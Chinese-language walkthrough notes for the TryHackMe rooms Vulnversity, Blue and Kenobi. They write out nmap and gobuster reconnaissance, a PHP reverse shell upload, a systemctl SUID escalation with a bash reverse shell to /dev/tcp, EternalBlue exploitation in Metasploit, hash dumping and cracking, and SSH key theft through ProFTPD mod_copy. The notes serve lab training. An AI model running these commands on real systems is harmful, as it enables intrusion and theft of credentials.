tryhackme进攻性渗透测试-Getting Started
Tutorial
- 配置openvpn 或者 使用平台提供的 AttackBox 攻击盒子
https://tryhackme.com/access?o=vpn
安装客户端与放置配置文件(kali客户端安装同理,百度自己搜安装openvpn)
Vulnversity 漏洞
Task 2 Reconnaissance 侦察
nmap cheatsheets 备忘单
nmap -sV 10.10.35.85
Task 3 Locating directories using Gobuster 使用 Gobuster 定位目录
https://github.com/OJ/gobuster
sudo apt-get install gobuster
目录字典 /usr/share/wordlists
/usr/share/wordlists/dirbuster/directory-list-1.0.txt
gobuster dir -u http://10.10.35.85:3333 -w <word list location>
Task 4 Compromise the Webserver 打点
- 文件类型,文件解析,php反向shell
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
http://10.10.35.85:3333/internal/uploads/php-reverse-shell.phtml
Task 5 Privilege Escalation 提权
- 知识点:SUID
find / -perm -u=s -type f 2>/dev/null
https://gtfobins.github.io/#systemctl
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/10.13.1.35/2222 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
- 如果报错找不到。切换到/bin下或者 ./systemctl改成 /bin/systemctl
Blue
tryhackme WriteUp/Walkthrough 文章/演练 走捷径
站长巨人的肩膀上,你思考得再牛逼,再如何“自立自强,自我复现”。最后一看,还是TMD的在用nmap,无非就是比别人多几个参数。与其如此,不如一开始就拿别人的WriteUp/Walkthrough少走很多弯路。 ---- 在模仿与练习中成长。
https://medium.com/@timnik/tryhackme-blue-writeup-walkthrough-with-answers-e80b1e1e0c5d
https://infosecwriteups.com/tryhackme-blue-671e0095bc45
Task 1 Recon 侦察
nmap -sS -Pn -A -p- -T5 10.10.47.199
nmap -sV --script vuln -oN 10.10.47.199 10.10.47.199
nmap -sS -Pn -p445 --script="smb-vuln-ms17-010.nse" 10.10.47.199
Task 2 Gain Access 初始访问
msfconsole
search ms17-010
use 0 (exploit/windows/smb/ms17_010_eternalblue)
show options
set RHOSTS <ip>
set LHOST <ip>
set payload windows/x64/shell/reverse_tcp
run
Task 3 Escalate 升级到meterpreter会话
Ctrl+Z
search shell_to_meterpreter
use 0
set LHOST 10.13.1.35
set SESSION 1
exploit
sessions
sessions -i 2
getsystem 和 getuid 这里的SYSTEM并不表示运行的进程也是SYSTEM(登录权限和运行权限是两回事)
ps 进程(你的shell是 powershell,不迁移进程??)
migrate 692 (找个带服务的进程迁移过去)
Task 4 Cracking
hashdump 获取存储在计算机上的密码哈希值
gzip -d rockyou.txt.gz
john --format=nt --wordlist=<path-to-wordlist> <hash>
search -f flag2.txt
Kenobi
Task 2 Enumerating Samba for shares 枚举 Samba 共享
- SMB枚举
Samba 网络文件系统,内网或互联网上的文件、打印机和其他常用共享资源。相与Windows机器交互资源就需要SMB协议。最初运行在 netbios 139端口上;windows 2000之后一直用TCP 445
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.203.163
默认密码或没输密码就进去了
smb cli 命令一把梭,more阅读器打开
下载到本地
递归下载共享资源,翻阅log.txt文件得到后渗透ProFTPD server上下文知识。
smbget -R smb://10.10.203.163/anonymous
rpcbind 111端口,RPC,远程过程调用。就是你ProFTPD服务启动后(这个FTP服务用到了RPC功能点),会告诉rpcbind 111端口的服务号,完成ProFTPD服务的基础设施。客户端使用RPC功能点时,就会访问111端口,rpcbind 111端口就会进行中转,告诉ProFTPD服务(而不是其他具有RPC功能的其他服务)。
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.203.163
阅读官方文档并从那里发现漏洞:官方功能点是复制,语法也在里面有示例。
进行威胁建模:未授权复制任意文件
http://www.proftpd.org/docs/contrib/mod_copy.html
提前准备命令,nc连接发送协议命令时,太久会超出等待时间报错。
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
加上前面的挂载漏洞,所以把私钥复制到 /var/tmp/id_rsa 下面
mkdir /mnt/kenobiNFS
mount 10.10.203.163:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
ssh 私钥连接
chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.203.163
Path Variable 提权
SUID, SGID 和 Sticky Bits
suid一把梭
find / -perm -u=s -type f 2>/dev/null
找到可执行文件:/usr/bin/menu(思路指的是所有)
打印二进制文件的命令执行硬编码:strings /usr/bin/menu
值钱的地方在于,一眼就发现 curl使用相对路径,而不是绝对路径比如:/usr/bin/curl 或者 /usr/bin/uname。所以,劫持curl的路径变量进行提权。